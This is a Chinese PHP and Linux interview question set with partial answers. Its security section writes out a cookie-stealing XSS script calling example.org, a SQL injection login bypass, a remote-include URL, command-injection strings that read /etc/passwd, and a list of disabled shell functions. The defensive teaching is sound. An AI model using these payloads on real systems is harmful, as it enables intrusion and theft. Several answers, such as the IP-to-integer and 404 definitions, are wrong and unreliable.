试题一

一、PHP开发部分


1.合并两个数组有几种方式,试比较它们的异同

操作符+,在前一个数的基础上插入后一个数组,如果有相同的抛弃,而array_merge 是在前一个参数基础上插入后一个参数,如果有相同用的key 用后一个覆盖。实例如下:
 $a+$b , array_merge($a,$b)

2.请写一个函数来检查用户提交的数据是否为整数(不区分数据类型,可以为二进制、八进制、十进制、十六进制数字)

if(!is_numeric($jp_total)||strpos($jp_total,".")!==false){  
    echo "不是整数";  
}else{  
    echo "是整数";  
}  
is_int();

3.PHP的strtolower()和strtoupper()函数在安装非中文系统的服务器下可能会导致将汉字转换为乱码,请写两个替代的函数实现兼容Unicode文字的字符串大小写转换

<?php  
function mystrtoupper($a){  
    $b = str_split($a, 1);  
    $r = '';  
    foreach($b as $v){  
        $v = ord($v);  
        if($v >= 97 && $v<= 122){  
            $v -= 32;  
        }  
        $r .= chr($v);  
    }  
    return $r;  
}  
  
  
$a = 'a中你继续F@#$%^&*(BMDJFDoalsdkfjasl';  
echo 'origin string:'.$a."\n";  
echo 'result string:';  
$r = mystrtoupper($a);  
var_dump($r);

4.PHP的is_writeable()函数存在Bug,无法准确判断一个目录/文件是否可写,请写一个函数来判断目录/文件是否绝对可写

其中bug存在两个方面,
1、在windowns中,当文件只有只读属性时,is_writeable()函数才返回false,当返回true时,该文件不一定是可写的。
如果是目录,在目录中新建文件并通过打开文件来判断;
如果是文件,可以通过打开文件(fopen),来测试文件是否可写。
2、在Unix中,当php配置文件中开启safe_mode时(safe_mode=on),is_writeable()同样不可用。
读取配置文件是否safe_mode是否开启。
if ( ! function_exists('is_really_writable'))
{
function is_really_writable($file)
{
// If we're on a Unix server with safe_mode off we call is_writable
if (DIRECTORY_SEPARATOR == '/' AND @ini_get("safe_mode") == FALSE)
{
return is_writable($file);
}
 
// For windows servers and safe_mode "on" installations we'll actually
// write a file then read it. Bah...
if (is_dir($file))
{
$file = rtrim($file, '/').'/'.md5(mt_rand(1,100).mt_rand(1,100));
 
if (($fp = @fopen($file, FOPEN_WRITE_CREATE)) === FALSE)
{
return FALSE;
}
 
fclose($fp);
@chmod($file, DIR_WRITE_MODE);
@unlink($file);
return TRUE;
}
elseif ( ! is_file($file) OR ($fp = @fopen($file, FOPEN_WRITE_CREATE)) === FALSE)
{
return FALSE;
}
 
fclose($fp);
return TRUE;
}
}

5.PHP的chmod()函数存在Bug,无法保证设置成功,请写一个函数在指定路径下创建一个目录/文件并确保可以正确设置权限掩码

6.PHP处理上传文件信息数组中的文件类型$_FILES['type']由客户端浏览器提供,有可能是黑客伪造的信息,请写一个函数来确保用户上传的图像文件类型真实可靠

7.PHP通过对数据的URL编码来实现与Javascript的数据交互,但是对于部分特殊字符的编解码与Javascript的规则不尽相同,请具体说明这种差异,并针对UTF-8字符集的数据,写出PHP的编解码函数和Javascript的编解码函数,确保PHP编码数据可以被Javascript正确解码 、Javascript编码的数据可以被PHP正确解码

8.试阐述Memcache的key多节点分布的算法?当任一节点出现故障时PHP的Memcache客户端将如何处置?如何确保Memcache数据读写操作的原子性?

9.如何实现PHP的安全最大化?怎样避免SQL注入漏洞和XSS跨站脚本攻击漏洞?

PHP安全应从以下几个方面下手
一、概念和原则
所有的输入数据都是不安全的
我们不能信任任何外来的数据,例如用户的表单提交数据、请求字符串、甚至是RSS种子,都不能信任。这些数据都可以被伪造。 这些数据中可能故意包含某些字符,破坏程序的运行环境,例如可能包含有害的javascript代码。
因此,PHP预定义全局数组中的数据都有可能是伪造信息,包括$_POST,$_GET,$_COOKIE,甚至包括$_SERVER数组,因为这个数组中的部分数据是由客户端提供的信息。唯一的例外是$_SESSION,因为SESSION数据是保存在服务器上的。
总结:在处理输入数据之前,先进行过滤,有两种过滤方法:白名单和黑名单
黑名单和白名单过滤
黑名单过滤更宽松,它假设我们知道所有不能允许通过的内容。例如预先定义一系列的单词表,只要不在这个单词表中出现的内容都是合法的。
举例: 获得用户输入的用户名和密码以后,我们要进行过滤,不允许用户输入单引号,双引号,等号,大于小于号,分号等等,因为这些符号可能影响我们SQL语句的结果,导致执行了意料之外的SQL,对数据安全造成严重破坏
白名单过滤更严格,他假设我们只知道能允许通过的内容。例如预先定义一系列规则,只有满足这个规则的内容才是合法的。
举例:获得用户输入的用户名和密码以后,我们要进行过滤,只允许用户输入字母和数字,因为我们确信这些符号不可能影响我们SQL语句的结果。
对输入进行过滤
我们可以在客户端使用javascript脚本对输入数据进行过滤验证,但是不能只依靠客户端,因为数据可以不通过你编写的客户端发送到服务器,因此,我们可以在客户端进行校验以提高用户感受,但在服务器端对数据进行验证是必须的。
TIPS:可以使用ctype_alpha()函数来验证内容是否全部由字母组成,ctype_alnum()判断内容是否全由数字组成。
对输出进行适当编码
不当的输入数据可能危害你的程序,不当的输出同样有可能危害你的客户。Web程序主要是与数据库和浏览器打交道,根据数据输出对象的不同,要进行相应的编码。
如果是输出数据到浏览器,那么要检查数据是否符合HTML规范,例如<>用于表示一个特定的标记,因此如果你的数据中包含<>,就需要对它们进行编码,以保证浏览器能够正确识别
TIPS:htmlspecialchars()和htmlentities()函数可以对HTML特殊符号进行编码,推荐使用后者
如果是输出数据到数据库,那么可以使用*_escape_string()函数来对SQL语句编码,推荐使用预编译处理Prepared SQL语句。从PHP5.1开始引入了PDO对象,可以在所有数据库引擎上提供Prepared SQL语句功能。即使某个数据库引擎不支持Prepared SQL,PDO也会自动为你进行语法转换。
举例
// 对输入进行过滤
$clean = array();
if (ctype_alpha($_POST[’username’]))
{
      $clean[’username’] = $_POST[’username’];
}

// 使用占位符来编写SQL语句
$sql = ’SELECT * FROM users WHERE username = :username’;

// 创建预编译语句对象
$stmt = $dbh->prepare($sql);

// 绑定用户名参数
$stmt->bindParam(’:username’, $clean[’username’]);

// 执行并获取结果集
$stmt->execute();
$results = $stmt->fetchAll();
Register Globals
从 PHP 4.2.0 版开始,配置文件中register_globals 的默认值从 on 改为 off。当register_globals 的默认值为on时,所有变量(请求、表单、会话、COOKIE)都直接注入代码,也就是说当你使用$a这个变量时, 这个变量的数值有可能来自任何地方(请求、表单、会话、COOKIE),这给程序员开发带来了便利,但如果程序员的代码不严谨的话,将带来安全隐患
例如
<?php
//$authorized = false; 如果程序员漏写了这条语句
if (authenticated_user()) {
    $authorized = true;
}
// 由于并没有事先把 $authorized 初始化为 false,
// 当 register_globals 打开时,可能通过GET auth.php?authorized=1 来定义该变量值
// 所以任何人都可以绕过身份验证
if ($authorized) {
    include "/highly/sensitive/data.php";
}
?>
等到PHP 6推出,这个register_globals配置项将被取消。
二、网站安全
伪造表单
要知道不只你编写的表单可以给你自己提交数据,其他人也可以编写伪造表单来向你的站点提交数据,这样一来,你用JavaScript对表单进行的验证和过滤就都白写了。我们也可以使用$_SERVER["HTTP_REFERER "]来判断上一页的地址是不是你自己站点的地址,但是HTTP_REFERER信息也是由客户端提供的,因此也不安全。 所以必须在服务器端对数据进行验证!
跨站脚本攻击(XSS)
跨站脚本攻击是另外一种常见的攻击方式,而且简单易用。看看下面的例子:
你开发了一个留言程序,这个程序允许用户发表留言,发表完留言后自动转向查看所有留言页面。如果有一个用户发表了这样一段留言
<script>
document.location = ’’http://example.org/getcookies.php?cookies= ’’
+ document.cookie;
</script>
那么其他用户在查看所有留言的时候,都将“看到”这段代码,这段代码将被他们的浏览器执行,把他们机器上保存的COOKIE信息(有可能是个人账号、密码、电话等隐私信息)发送到另外一个指定的网站。
这可以通过对输出进行编码来防止,例如使用htmlentities()编码以后,上面这段代码将变成
&lt;script&gt;
document.location = 'http://example.org/getcookies.php?cookies= '
   + document.cookie;
&lt;/script&gt;
因此也就不能造成危害了
跨站请求伪造(CSRF)
XSS攻击依靠的是用户对于网站程序的信任, 而CSRF攻击依靠的是网站对于用户的信任。例如:
一个恶意用户在网站购买书籍时候发现,用于购买请求采用GET方式提交,提交地址为http://yourhost/buybook.php?book_id=0129&qty=1
那么他就可以在其他站点上防置一个用于发送伪造请求的图片链接<img src="http://yourhost/buybook.php?book_id=0129&qty=1 " />,这样其他用户在浏览包含一个这样的图片链接的网页的时候,就毫无察觉的发送了一个请求到购书网站。
对于大部分用户来说,这样的请求是无效的,因为他们并不是购书网站的用户。但是如果他正好也是这个购书网站用户,那么这个请求就真的将执行购买书的操作。
预防CSRF请求可以采取以下方法
1)对于关键行为,避免使用$_GET,$_REQUEST,只使用$_POST,这样只有用户主动点击提交按钮,才能发生一个购买行为。(当然伪造$_POST数据也很容易,比如在恶意网站上放一个查看按钮,而这个按钮实际上是发送一个购书请求)
2)对于关键行为,避免使用COOKIE数据对用户进行验证,使用SESSION可以保证只有用户登录过购书站点才能进行购书行为。
3)对于关键行为,设置令牌,例如
<?php
session_start();
$token = md5(uniqid(rand(), TRUE));//随机生成一个令牌
$_SESSION[’token’] = $token;//存入SESSION
?>
<form action="checkout.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<!-- Remainder of form -->
</form>
这样,接收到提交数据后,就可以用SESSION中保存的令牌,与请求中的令牌进行比较,这样就可以完全防止伪造的请求。
三、数据库安全
当使用用户输入作为SQL语句的组成部分时,很容易遭到SQL注入攻击。
例如采用方法进行登录验证时
$username = $_POST[’username’];
$password = md5($_POST[’password’]);
$sql = "SELECT * FROM users WHERE username='{$username}' AND password='{$password}'";
如果恶意用户输入用户名为 ' OR '1' = '1,那么拼接成的SQL语句就变成了
SELECT * FROM users WHERE username='' OR '1' = '1' AND password='...'
这条语句将查询出数据库中所有的用户,恶意用户就顺利登陆了
使用*_escape_string()函数对数据进行编码后,再进行拼接,或者使用预处理SQL语句,可以有效地防止SQL注入。
例如使用*_escape_string()函数对恶意用户名编码后,用户名将变成 /' OR /'1/' = /'1

四、会话安全

会话攻击最常见有两种形式:Session Fixation和session hijacking
大部分其他形式的攻击都可以通过输入过滤和输出编码来预防,但是会话攻击不行。
我们需要尽早为为此而做准备,同时查找程序潜在的漏洞
1、Session Fixation (会话指定,又叫做session riding,会话桥接),攻击的过程如下:
在恶意网站上放置如下链接<a href="http://example.org/index.php?PHPSESSID=1234">Click here</a>, 用户点击这
个网站进入目标网站。假如这个用户正好是一个管理员,他登陆进入管理后台。(因为PHP默认将SESSIONID保存在COOKIE中
,但如果客户端禁用COOKIE,PHP就会使用请求字符串传递,并且SESSIONID的默认名称为PHPSESSID,所以PHP现在将从请求
字符串获得SESSIONID。
在管理员在后台操作的这段时间,SESSIONID一直是有效的,直到他退出登录为止。
如果我们在一个用户通过这个恶意链接访问目标站点以后,立刻也使用1234这个SESSIONID进行自动访问,那么就可以以管理
员身份登录到后台进行操作,比如增加一个管理员......
解决Session Fixation的方法是:一旦用户改变身份,就立即让原来的SESSION失效,这样就可以有效防止 Session
Fixation。
session_start();
// If the user login is successful, regenerate the session ID
if (authenticate())
{
session_regenerate_id();
}
2、session hijacking (session劫持)
session hijacking是常见的网络攻击方式,你的网关服务器,你同一个网段的用户都可以通过“嗅探器”软件来监听你的
TCP通信数据,可以从这些数据中分析出来他们感兴趣的目标网站和SESSION ID。
没准在你在目标网站浏览操作的同时,攻击者也在用你的身份进行浏览操作。
为了防止这样的攻击方式,我们可以采取下面的方式
1)在SESSION中保存$_SERVER[’HTTP_USER_AGENT’],不同的客户端的USER_AGENT应该不完全相同,因此可以起到一定的
预防session劫持的作用
2)执行一个高度敏感的动作例如修改密码时,仍然要重新验证身份。绝对不要让一个仅通过会话验证的用户在不输入旧密码
的情况下去修改密码。你也应当避免直接向一个仅通过会话ID验证的用户显示高度敏感的数据,例如信用卡号
3)登录和关键操作最好使用SSL连接,以防信息被监听
4)不要在COOKIE和SESSION中保存明文密码(MD5也不安全,可以在1小时内被暴力破解开)

五、文件系统安全
PHP可以直接访问文件系统、执行Shell命令,这给程序开发提供了强大的支持的同时也可能会带来危险。同样,恰当的过滤和编码可以避免危险。

1、远程代码注入
我们可以使用include和require来包含文件,这两个命令非常方便。
例如我们可以使用下面的代码来在页面包含一个可变化的模块
include "{$_GET[’section’]}/data.inc.php";
当用户访问http://example.org/?section=news 的时候,上面的语句变成
include "news/data.inc.php";
页面就包含了新闻模块。
但如果攻击者使用这样的链接来访问http://example.org/?section=http://attack/attack.php ?
那么上面的语句就变成
include "http://attack/attack.php?/data.inc.php ";
那么服务器将运行攻击者提供的attack.php程序。
为了防止这种情况的发生,我们可以使用下面的代码来实现动态包含的功能
$clean = array();
$sections = array(’home’, ’news’, ’photos’, ’blog’);
if (in_array($_GET[’section’], $sections))
{
$clean[’section’] = $_GET[’section’];
}
else
{
$clean[’section’] = ’home’;
}
include "{clean[’section’]}/data.inc.php";
另外,PHP配置文件中的allow_url_fopen选项可以设置是否将URL地址当作普通文件对待,默认情况下,这个选项为ON,因
此也就可以在include和require里面使用URL地址。如果将该选项关闭,那么也可以防止上述情况的发生。
假设有下面一段代码
<?php
    $string='AaBbCcDdEeFfGg';
    $pattern='/^/e';
    echo $preg_replace($pattern,"str_replace('abc','<i>abc</i>',AaBbCc);", "AaBbCc");
?>

2、命令行注入
PHP提供了exec(), system(),passthru(),shell_exec()等函数,以及` (反引号)运算符。这些函数可以直接调用命令行系统指令
,例如system('dir c:'); 可以显示C盘符下的目录内容, system("ls -al|cat/etc/passwd");可以获得passwd的内容。
假如攻击者能将这些命令注入你的代码并运行,将给系统带来巨大的危害。
例如,我们实现一个全文搜索功能,要把文章中用户指定的单词变成斜体显示,我们的代码如下
<?php
    $string='the content to display';
    $pattern='/^/e';    
    echo preg_replace($pattern,"str_replace('".$_GET['word']."', '<i>".$_GET['word']."</i>',
$string);","");
?>
其中/e修正符指定,将要替换部分作为PHP代码运行。
当用户输入content, 那么网页上将显示the <i>content</i> to display,实现了我们所需功能。
但是如果攻击者输入b','b','b'); phpinfo();//
那么将运行str_replace('b','b','b'); phpinfo();//.......
再例如,我们根据用户输入,来决定调用什么函数
<?php  
if(isset($_GET['func']))
    {
        $myfunc=$_GET['func']);
        echo $myfunc();
        echo "<br/>";
    }
?>
假如用户输入?func=phpinfo, 那么将运行phpinfo()
我们还是应该使用适当的过滤和编码来解决命令行注入问题,可以使用escapeshellcmd()和escapeshellarg()函数。
如果有可能,避免使用命令行,如果必须要用,那么也应该避免使用用户输入来拼接shell命令。

3、共享主机
在共享主机模式下,存在许多安全问题。PHP曾经尝试推出safe_mode配置选项来解决这些问题。但是,正如PHP手册所说,
“从PHP的层面出发解决这些问题在体系结构上就是不对的”。因此PHP6不会推出safe_mode配置选项。
但是对于共享主机来说,存在三个非常重要的配置选项:open_basedir, disable_functions, 和disable_classes
1)open_basedir
open_basedir选项用于限定可使用的文件范围。当使用fopen()或者include时,php检查文件的路径,如果在open_basedir
指定的目录下,那么可以成功打开文件,否则失败。
可以在php.ini配置文件中,或者基于每台虚拟主机的httpd.conf配置文件中,设置open_basedir。
在下例中,PHP脚本只能使用/home/user/www 和 /usr/local/lib/php目录下的文件(后者通常是PEAR库文件的保存目录)
<VirtualHost *>
DocumentRoot /home/user/www
ServerName  www.example.org 
<Directory /home/user/www>
   php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/"
</Directory>
</VirtualHost>
2)disable_functions和disable_classes
disable_functions和disable_classes允许你因为安全考虑而禁用某些PHP函数或者类。只能在php.ini中配置这两个选项
。请看下面的例子:
; Disable functions
disable_functions = exec,passthru,shell_exec,system
; Disable classes
disable_classes = DirectoryIterator,Directory

总结
时刻牢记输入过滤和输出编码!

预防方面

检查某个网站漏洞时,出现了两个问题,跟我预测的一样,都存在sql注入的可能,SQL注入漏洞(盲注)和跨站脚本攻击(XSS)。
应对方法:
1.全站入口处检查get_magic_quotes_gpc()是否开启,如果没开启,则全站对request(包括get、post等,特别是get)进来的数据进行检查,出现add、select、update等字符时提示错误。
2.把错误提示给关了,error_reporting(E_ALL & ~E_NOTICE);// 不显示警告
ini_set(‘display_errors’,’Off’);
以防出现警告和错误提示时把网站的路径显示出来。
3.因为那网站没有做伪静态,出现了xxx.com/?id=数字的情况,也就是说存在SQL注入漏洞(盲注)的可能性,应对方法先判断get(id)进来的是否是数字,如果不是直接提示错误,如果是,则intval转换,再进行mysql_query(mysql_query好处是只进行一次查询后自动关闭)。
4.页面异常导致本地路径泄漏。设置出现异常错误时的跳转页面,尽量不出现空白页或500之类的错误页。每次查询都要判断假如无结果时的应对办法。
5.总是提示有漏洞:跨站脚本攻击(XSS)。按上面1、2、3步骤后还是提示有此漏洞,马上进行改正,字符串的话用htmlspecialchars更替html代码。
6.后台路径屏蔽搜索引擎,登录时先检查ID是否正确,如果正确,再MD5加密密码进行查询,2次sql查询加强安全。
再次检查出现OK提示!

10.请设计一个数据结构可以实现无限级子菜单的树型菜单功能并提供菜单生成算法,用UML描述设计并写出相关PHP代码

二、系统相关部分

1.请简述Linux、FreeBSD、Soalaris、Mac OS、Windows几种系统下进程与线程的内核实现方式、管理机制的异同

2.请简述Linux/BSD系统下进程间通讯的方式有哪些,并具体说明在PHP下如何实现

3.请简述Linux/BSD系统下系统的消息/事件异步通知机制有几种,并加以比较

4.简单比较TCP/UDP协议的异同,对于PHP的Socket扩展与Stream扩展,试比较两者基于TCP/UDP协议的SOCKET编程差异?

5.为什么会出现僵死进程(孤儿进程)?怎样查看僵死进程?如何解决僵死进程问题?

6.对于System-V消息队列,如何解决系统本身对于消息队列条数、总容量(字节数)的限制?如何设置消息的优先级别?请比较阻塞模式和非阻塞模式的异同,并说明如何避免非阻塞模式下的消息队列堵塞?

7.请描述Apache 2.x版本的MPM(Multi-Processing Module)机制,并具体说明在不同的MPM机制下如何支持PHP?

8.请简述PHP在Apache下的几种运行方式并加以比较?如何让PHP在Linux+Apache下以Fast CGI方式运行?

9. 请写出让PHP能够在命令行下以脚本方式执行时安装PHP所必须指定的configure参数,并说明如何在命令行下运行PHP脚本(写出两种方式)同时向PHP脚本传递参数?

10.请简述PHP 5.2的内存池及其内存管理机制、垃圾回收机制


试题二


基础任务:


1、请列举你能想到的UNIX信号,并说明信号用途。

#define SIGHUP  进程由於控制终端死去或者控制终端发出起命令 
#define SIGINT  键盘中断所产生的信号 
#define SIGQUIT  键盘终止 
#define SIGILL  非法的指令 
#define SIGTRAP   进程遇到一个追踪(trace)或者是一个中断嵌套 
#define SIGABRT  由abort系统调用所产生的中断信号 
#define SIGIOT  类似於SIGABRT #define SIGBUS   进程试图使用不合理的记忆体 
#define SIGFPE  浮点异常 
#define SIGKILL  KILL 
#define SIGUSR1  用户自定义 
#define SIGSEGV  段错误 
#define SIGUSR2  用户自定义 
#define SIGPIPE  管道操作时没有读只写 
#define SIGALRM 由alarm系统调用产生的timer时钟信号 
#define SIGTERM 收到终端信号的进程 
#define SIGSTKFLT 堆叠错误 
#define SIGCHLD  子进程向父进程发出的子进程已经stop或者终止的信号 
#define SIGCONT  继续运行的信号 
#define SIGSTOP  stop 
#define SIGTSTP  键盘所产生的stop信号 
#define SIGTTIN   当运行在後状态时却需要读取stdin的资料 
#define SIGTTOU   当运行在後状态时却需要写向stdout 
#define SIGURG   socket的紧急情况 
#define SIGXCPU  进程超额使用CPU分配的时间 
#define SIGXFSZ  进程使用了超出系统规定文件长度的文件 
#define SIGVTALRM  内部的alarm时钟过期 
#define SIGPROF  在一个程式段中描绘时钟集过期 
#define SIGWINCH 终端视窗的改变 
#define SIGIO 非同步IO 
#define SIGPOLL  SIGIO pollable事件发生

2、请列举、你能想到的所有的字符串查找算法,并加注释简单说明。

在php中,字符串的查找有三个系列。返回位置的、返回字符串的、掩码个数匹配。其中,返回位置的的函数一共有两个,strpos()和strrpos();返回字符串的也有两个strstr()和strchr();返回掩码匹配数的函数有strspn()和strcspn()。
strpos表示从左边开始计数,返回要查找的字符串第一次出现的位置;strrpos表示从右边计数,返回要查找的字符串第一次出现的位置。
strstr表示从左边计数,返回要查找字符串第一次到结尾的子串(包括查找字符串),当查找的是字符时,可以用ascii码数字来表示字符;stristr表示不区分大小查找;strchr是strstr的别名;strrchr返回字符最后出现到结尾的子串。
strspn表示从左边计数,第一次出现非掩码之前的子串的字符数;strcspn表示从左边计数,第一次出现掩码之前的子串的字符数。

$pos = strpos('this a hello world program', ' ');        // 4
$pos = strpos('this a hello world program', 32);         // 4
$pos = strrpos('this a hello world program', ' ');       // 18
$pos = strrpos('this a hello world program', 32);        // 18
$str = strstr('this a hello world program', ' ');        // " a hello world program"
$str = strstr('this a hello world program', 32);         // " a hello world program"
$str = stristr('this a hello world program', ' a');      // "a hello world program"
$str = stristr('this a hello world program', 65);        // "a hello world program"
$str = strrchr('this a hello world program', ' ');       // " program"
$str = strrchr('this a hello world program', 32);        // " program"
$str1 = "12345 12345 12345";
$len = strspn($str1, '12345');                           // 5
$len = strcspn($str1, ' ');                              // 5

3、有一个IP地址(192.168.0.1),请写出其32位无符号整数形式。

11000000.10101000.00000000.00000001

4、写出、你能想到的所有HTTP返回状态值,并说明用途(比如:返回404表示找不到页面)

200 OK
指示客服端的请求已经成功收到,解析,接受。
201 Created
请求已经完成并一个新的返回资源被创建。被创建的资源可能是一个URI资源,通常URI资源在Location头指定。回送应该包含一个实体数据
并且包含资源特性以及location通过用户或者用户代理来选择合适的方法。实体数据格式通过煤体类型来指定即content-type头。最开始服务器
必须创建指定的资源在返回201状态码之前。如果行为没有被立刻执行,服务器应该返回202。
202 Accepted
请求已经被接受用来处理。但是处理并没有完成。请求可能或者根本没有遵照执行,因为处理实际执行过程中可能被拒绝。
203 Non-Authoritative Information
204 No Content
服务器已经接受请求并且没必要返回实体数据,可能需要返回更新信息。回送可能包含新的或更新信息由entity-headers呈现。
205 Reset Content
服务器已经接受请求并且用户代理应该重新设置文档视图。
206 Partial Content
服务器已经接受请求GET请求资源的部分。请求必须包含一个Range头信息以指示获取范围可能必须包含If-Range头信息以成立请求条件。
Redirection
==================================
300 Multiple Choices
请求资源符合任何一个呈现方式。
301 Moved Permanently
请求的资源已经被赋予一个新的URI。
302 Found
通过不同的URI请求资源的临时文件。
303 See Other
304 Not Modified
如果客服端已经完成一个有条件的请求并且请求是允许的,但是这个文档并没有改变,服务器应该返回304状态码。304
状态码一定不能包含信息主体,从而通常通过一个头字段后的第一个空行结束。
305 Use Proxy
请求的资源必须通过代理(由Location字段指定)来访问。Location资源给出了代理的URI。
306 Unused
307 Temporary Redirect
Client Error
=====================
400 Bad Request
因为错误的语法导致服务器无法理解请求信息。
401 Unauthorized
如果请求需要用户验证。回送应该包含一个WWW-Authenticate头字段用来指明请求资源的权限。
402 Payment Required
保留状态码
403 Forbidden
服务器接受请求,但是被拒绝处理。
404 Not Found
服务器已经找到任何匹配Request-URI的资源。
405 Menthod Not Allowed
Request-Line请求的方法不被允许通过指定的URI。
406 Not Acceptable
407 Proxy Authentication Required
408 Reqeust Timeout
客服端没有提交任何请求在服务器等待处理时间内。
409 Conflict
410 Gone
411 Length Required
服务器拒绝接受请求在没有定义Content-Length字段的情况下。
412 Precondition Failed
413 Request Entity Too Large
服务器拒绝处理请求因为请求数据超过服务器能够处理的范围。服务器可能关闭当前连接来阻止客服端继续请求。
414 Request-URI Too Long
服务器拒绝服务当前请求因为URI的长度超过了服务器的解析范围。
415 Unsupported Media Type
服务器拒绝服务当前请求因为请求数据格式并不被请求的资源支持。
416 Request Range Not Satisfialbe
417 Expectation Failed
Server Error
===================================
500 Internal Server Error
服务器遭遇异常阻止了当前请求的执行
501 Not Implemented
服务器没有相应的执行动作来完成当前请求。
502 Bad Gateway
503 Service Unavailable
因为临时文件超载导致服务器不能处理当前请求。
504 Gateway Timeout
505 Http Version Not Supported

基础任务-选作(会得到额外分数):

1、画几个你最熟悉的SERVER端模型出来(格式不重要,尽量将图画清楚,说明思路即可)

进阶任务:

1、PHP的垃圾收集机制是怎样的?

说明:

1)如果,你熟悉PHP源码,那么请从源码入手,回答些问题,会获得额外加分

2)如果,你不熟悉PHP源码,那么尽你所能,多写点东西,包括利用自己的编程直觉得到的信息,都可以。

3)对,则有分,错误不扣,不写无分。

2、请写出HTTP头,并符合以下要求:

1)这是一个post请求

2)目标:http://www.example.com:8080/test

3)POST变量:

username: test

pwd: test2

intro: Hello world!

4)包含以下COOKIE信息:

cur_query: you&me

说明:

1)如果,你记不得某个HTTP协议中的指令字了,那么,无奈这举是用“汉字”代替。

2)如果,你能记住更多的HTTP协议指令字,那么多写几句,总是没坏处,对吧?

3)最关键的,只需要画出正确的“轮廓”(还记得httpwatch等工具打印出来的头部吗?那就是“轮廓”的含义),也会有分数,但如果,连“轮廓”都写错了,那么就很遗憾了。

设计任务:

1、最近总有人骚扰我们的投票模块,需要你来设计一个投票限制的东东

要求如下:

1)要求每个QQ号码(假设此QQ号码在UNIT32内可以表示)10分钟这内只能投5票。

2)我们的用户很踊跃,平均每天要有2000万人左右通过此程序投票。

说明:

1)无需写代码,只需要图跟文字即可。

2)对于关键逻辑,请用图加代码表示出来,这也是对你文字表达能力的一个考验。

3)对你能想到的所有的边界条件列出来,这是对你逻辑思维全面与敏捷性的考验。

4)存储部分,尽你所能吧。如果,你需要一个自己设计的存储层,那么把这个存储层的实现,用文字+图片方式描述清楚,要是设计合理,你会获得华丽的奖分。

编程任务:

1、我们碰到了大麻烦,一个新来的传教士惹恼了上帝,上帝很愤怒,要求我们把圣经(bbe.txt)背熟,直至他说哪个单词,我们就要飞快的回答出这个单词在第几行第几个单词位置。听说你是个优秀的程序员,那么髟助我们完成这个不可能的任务吧。
要求如下:

1)/myworks/example/bbe.txt,98版本英文圣经一本

2)输入部分要求如下:php ./example.php [单词]

3)输出部分如下:[单词] 1,2 2,4 5,6 表示:此单词在1行2列(第二个单词),2行4列…

说明:

1)此文本4MB之巨…

2)单词的含义:由英文字母(大小写),数字(0-9)组成的串

3)提供给你的机器OS为ubuntu 9.10,内存只有1G,而且,很不幸的,其中700M用来做了别的

4)上机考试不允许上网,但我装了man文档以及读取CHM以及PDF的阅读器,在电脑的桌面的CHM文件夹中,有相应的PHP参考手册

5)算法复杂度要求不能大于O(N^2)(就是N的平方)

6)什么?PHP低效且用起来不顺手,好的,你可以用别的语言来实现。但注意:提供给你的机器上只有python 2.4/perl 5.8/gcc[g++] 4.1